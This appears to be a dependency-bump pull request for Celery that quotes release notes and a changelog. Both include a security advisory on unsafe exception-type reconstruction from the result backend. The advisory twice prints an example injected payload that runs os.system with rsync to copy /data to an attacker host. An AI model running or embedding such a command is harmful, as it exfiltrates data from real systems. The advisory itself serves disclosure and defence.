When a task fails, the failure information is serialized in the
backend. In some cases, the exception class is only importable
from the consumer's code base. In this case, we reconstruct the
exception class so that we can re-raise the error on the process
which queried the task's result. This was introduced in #4836. If
the recreated exception type isn't an exception, this is a
security issue. Without the condition included in this patch, an
attacker could inject a remote code execution instruction such as:
os.system("rsync /data attacker@192.168.56.100:~/data") by
setting the task's result to a failure in the result backend with
the os, the system function as the exception type and the payload
rsync /data attacker@192.168.56.100:~/data as the exception
arguments like so:
According to my analysis, this vulnerability can only be exploited
if the producer delayed a task which runs long enough for the
attacker to change the result mid-flight, and the producer has
polled for the task's result. The attacker would also have to
gain access to the result backend. The severity of this security
vulnerability is low, but we still recommend upgrading.
v5.2.1
Release date: 2021-11-16 8.55 P.M UTC+6:00
Release by: Asif Saif Uddin
Fix rstrip usage on bytes instance in ProxyLogger.
Pass logfile to ExecStop in celery.service example systemd file.
fix: reduce latency of AsyncResult.get under gevent (#7052)
Limit redis version: <4.0.0.
Bump min kombu version to 5.2.2.
Change pytz>dev to a PEP 440 compliant pytz>0.dev.0.
When a task fails, the failure information is serialized in the backend.
In some cases, the exception class is only importable from the
consumer's code base. In this case, we reconstruct the exception class
so that we can re-raise the error on the process which queried the
task's result. This was introduced in #4836.
If the recreated exception type isn't an exception, this is a security issue.
Without the condition included in this patch, an attacker could inject a remote code execution instruction such as:
os.system("rsync /data attacker@192.168.56.100:~/data")
by setting the task's result to a failure in the result backend with the os,
the system function as the exception type and the payload rsync /data attacker@192.168.56.100:~/data as the exception arguments like so:
According to my analysis, this vulnerability can only be exploited if
the producer delayed a task which runs long enough for the
attacker to change the result mid-flight, and the producer has
polled for the task's result.
The attacker would also have to gain access to the result backend.
The severity of this security vulnerability is low, but we still
recommend upgrading.
.. _version-5.2.1:
5.2.1
:release-date: 2021-11-16 8.55 P.M UTC+6:00
:release-by: Asif Saif Uddin
Fix rstrip usage on bytes instance in ProxyLogger.
Pass logfile to ExecStop in celery.service example systemd file.
fix: reduce latency of AsyncResult.get under gevent (#7052)
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Bumps celery from 3.1.26.post2 to 5.2.2.
Release notes
Sourced from celery's releases.
... (truncated)
Changelog
Sourced from celery's changelog.
... (truncated)
Commits
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